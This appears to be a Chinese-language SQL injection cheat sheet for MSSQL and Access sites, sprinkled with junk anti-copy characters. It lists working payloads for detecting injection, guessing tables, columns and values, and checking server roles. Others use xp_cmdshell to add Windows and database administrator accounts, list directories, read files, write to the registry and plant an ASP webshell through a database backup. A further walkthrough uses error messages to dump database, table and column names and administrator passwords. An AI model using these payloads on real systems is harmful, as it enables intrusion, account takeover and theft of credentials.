1.判断是否有注入 ! P8 M3 {1 I0 r, Z# U3 {
;and 1=1 * O" p# s; J4 t& Y
;and 1=2
1 W4 y5 N9 k8 Z$ |
+ D$ v7 \" a. O, F8 ?6 ]# [, {2.初步判断是否是mssql 8 w# N3 [: q6 q* d# ~
;and user>0 & z0 y) Q+ I" e
, i8 ^ O" t6 C$ ]: A! p( L3.判断数据库系统
. W" p) ]3 ~" a' D! K;and (select count(*) from sysobjects)>0 mssql . b' R4 O5 T. o
;and (select count(*) from msysobjects)>0 access 6 T. @+ p) ` B) ]( K4 g
% f1 H% R- S* a1 y5 r4.注入参数是字符
" D6 f9 e; e, p/ S# t2 e6 x3 y'and [查询条件] and ''='
+ J8 y# F% T1 f; M ^8 a# _- g
+ A. v$ o$ n) c$ _$ U5.搜索时没过滤参数的
" v- C! O$ X6 i8 X C( ^'and [查询条件] and '%25'=' 9 |" d! a$ U* Z8 N9 o& m% |
3 o" x! t, P1 z' ]/ O) a6.猜数表名 # v0 n! l8 h: \# h5 J) \3 j( P
;and (select Count(*) from [表名])>0
9 d3 R3 F1 u: D
: f+ W6 W) ]: ]0 o( }0 }2 @! G6 t7.猜字段 - t2 f% w' C7 ], T% P2 c
;and (select Count(字段名) from 表名)>0
w( s! ]- z, D+ W* |, i2 t8 Z+ F* Z; a1 G
8.猜字段中记录长度
( h4 s5 y) q: h) ]& e0 B0 K6 y/ F;and (select top 1 len(字段名) from 表名)>0
6 Q2 q* V# `+ {0 a$ h+ b
0 q' ^& `+ h( [0 d* ~5 X9.(1)猜字段的ascii值(access)
; v2 ~5 [1 }9 g$ ^0 H;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
) o7 z; F8 R8 _, b' |: t% N# s. r' P2 L6 U
(2)猜字段的ascii值(mssql) , z+ R0 e2 P# d, I! u7 \
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 + c, I8 ]1 b C6 ^' ^
" w% [9 T% y4 }' [. b
10.测试权限结构(mssql) 3 y6 x1 \" ?& ?3 g- }: o4 x
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
/ |" Q1 q) V* Q. y' c;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
8 X+ N; Y2 b+ y$ \; Y;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- " @& S" N' h% Y9 V5 H
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 l! }* k3 L1 y+ [, S9 a
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- * j% P0 ] M7 L- P
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
5 ~ Y8 h+ ^6 p;and 1=(select IS_MEMBER('db_owner'));-- / ]+ V+ F4 n9 J1 A
" l2 [$ c1 U5 s' k0 O1 z
11.添加mssql和系统的帐户 . h) \3 V, Q* r6 V' s
;exec master.dbo.sp_addlogin username;-- $ o' Y; e& }/ R' q
;exec master.dbo.sp_password null,username,password;--
6 `7 H. x: V# d% H+ U;exec master.dbo.sp_addsrvrolemember sysadmin username;--
- f% Q$ I5 i8 H( u( w4 ^7 X, @;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
; c0 b: m9 }6 u% b6 D7 g;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2 H9 S8 R7 P& N' k* q$ O+ L3 d
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4 F9 \& m" }# n
: z6 p% q. j8 L' ]8 s4 K# D12.(1)遍历目录 2 h( c) q0 P4 `& u3 t8 y" K
;create table dirs(paths varchar(100), id int) & i0 |1 A8 F$ R; D( [& I2 e( k
;insert dirs exec master.dbo.xp_dirtree 'c:\' / @- [8 U! D0 N* `9 q: @
;and (select top 1 paths from dirs)>0
6 b5 c# S3 x, b6 };and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) # P5 P; y9 E# x! m1 a. O
( I" J- I) {. D9 X) a4 N
(2)遍历目录
; n0 L: h, `: X8 q. O0 f' V, V;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9 n$ A- q0 Y, p: i' {% s
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
2 P( I) L: D0 a! Z5 }8 X" R$ A;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
/ n! Z1 m. g9 n9 `. {2 |, p;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
; X& V" x, z: [. y1 ];insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
0 o _5 L& Q- i) Z4 n
1 I. Q. }( ~ L13.mssql中的存储过程 & C( N7 \ W/ a0 g
xp_regenumvalues 注册表根键, 子键 / o: B' w" N5 X/ T
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
) u* }$ ]5 w3 d, q( Ixp_regread 根键,子键,键值名
! a& \0 b* A% B4 k. F;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2 C+ H4 n, _6 }. X
xp_regwrite 根键,子键, 值名, 值类型, 值
3 @ q1 c' a; s, c3 P( n9 T值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 * N: T* O! d. \
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
9 ^% y0 T8 Y# E, x. | Zxp_regdeletevalue 根键,子键,值名 ) k/ c2 _0 e& J- m3 e+ X
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
! n* d5 a# p1 g; Ixp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 ^& c7 n$ P( J$ J- E
: X+ L$ @4 T: ^0 _7 F) u( m
14.mssql的backup创建webshell
/ i! f" i# G3 H$ r) s- @! t. |use model
1 f2 K5 [* }% P0 v1 Qcreate table cmd(str image); ! E6 F. a# X$ q: H
insert into cmd(str) values ('<% Dim oScript %>'); " [1 s( C. z1 _7 ?$ g% g
backup database model to disk='c:\l.asp'; 1 B6 o( b _% b5 v# D
/ E, L! w6 F' u E
15.mssql内置函数
5 d+ ?6 F$ \7 ]* |7 M o;and (select @@version)>0 获得Windows的版本号 # j" W* y# I0 E7 G( A" i
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
3 _7 ?7 @2 g: B4 Y7 w;and (select user_name())>0 爆当前系统的连接用户 3 v) k6 I. k H5 ]3 V1 L
;and (select db_name())>0 得到当前连接的数据库
" D) m1 N; `6 U8 J, q8 S9 s ^! P
, L* G) I( Y8 I7 B2 i5 G/ Z
# @) \) r- r" T2 O3 S
# q) l+ g; P# u% Y: WMSSQL手注暴库
! b3 V$ ?% M J$ J& N3 X$ `
& L5 K2 w0 Y& D6 ?, g1.暴出当前表名和列名
/ w+ @' u" I' p3 j在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
- V4 K( C8 S+ Y* I' Q) U( T0 u- _1 @
* c2 q8 V, }( G8 e( k第一.爆出所有数据库名
; B# t! P5 m4 h$ _5 h利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。: ?) H+ E0 }( g6 |' B! K* [
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。0 I9 h3 K0 c7 p3 y) {2 U
& N8 f( n6 m) V! d' u
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
7 d+ Z6 R% b* S2 O) Y2 h5 a2 H3 P* C& d
G2 p1 j' }5 P( p: ^! {; s第二.爆出指定库中的所有表名( x. ?; s9 ?) p6 F- p( B" a: |
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。; w, W) ]8 I( p( t' c0 M; F, g9 N
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
9 L# j6 a3 y' |" N1 R- t5 f# ^3 k7 y0 E/ E! [
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
, A( |* V* s* P: Xand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
. r- ]8 Q- _4 R/ l- l8 [: ?and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--/ b: j e4 b0 Q4 G" Y5 a1 S
) ~7 j) Z& T' n. O' b
4.爆出指定表中的所有列名) f: Z) Z- H# l: _1 K
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 8 a+ t, g1 F% }
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
% G K, \- I% Q: F4 O6 ?" j3 X$ @# y& N
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
! @! H+ `+ W5 T, f6 s6 Q0 ^# @: _4 L. I5 U/ `
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
5 a' [8 m& s: T; r依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。/ b& i6 x4 W3 B& a% I" z
" N/ D5 h/ k0 g: ^" v; j4 g' C# y, S' [# F8 P2 o& W7 b
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值0 d/ n- j0 i! m/ l8 j. [" ? |
' Z" b/ B! f0 Zand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
; z% t, U, z$ H! ~+ x; o
' R, u% H" n, V" t( Wand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- ; Z+ ^* E5 K3 m8 E, U
' x7 m) t$ l, s- Q8 e6 Q7 b0 ]
+ \; l9 \ x5 u1 [' ^ H; G
' n' B0 U6 i$ L- e5.读取指定表中的数据
|; A$ C1 k, ]9 h5 a# F
; T: a+ P. j' d/ ]# r6 iand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 : _) u, {8 e A+ r4 U3 o
6 N8 {* E& I' B% l% w6 H& Oand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
* P3 y4 x8 @$ D4 P F8 P0 e( s# M- H3 r2 @/ I$ Z
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
( M, ^/ f! U3 E) @3 C! O6 r
% H% w' P9 m% { n) s
2 a/ H2 {5 O$ Q5 ^% e- rand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
6 b4 Q5 ?# ^3 s' B/ c7 ?* n- W+ H3 n" E
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)1 G/ Q* L/ y0 P/ T n
2 W* t5 r1 |% G, d- H
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--( K7 } ~/ m+ V J4 f
/ o1 @- e' t6 W! [3 c知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。- B' b. w8 Z& _# j9 K( l
|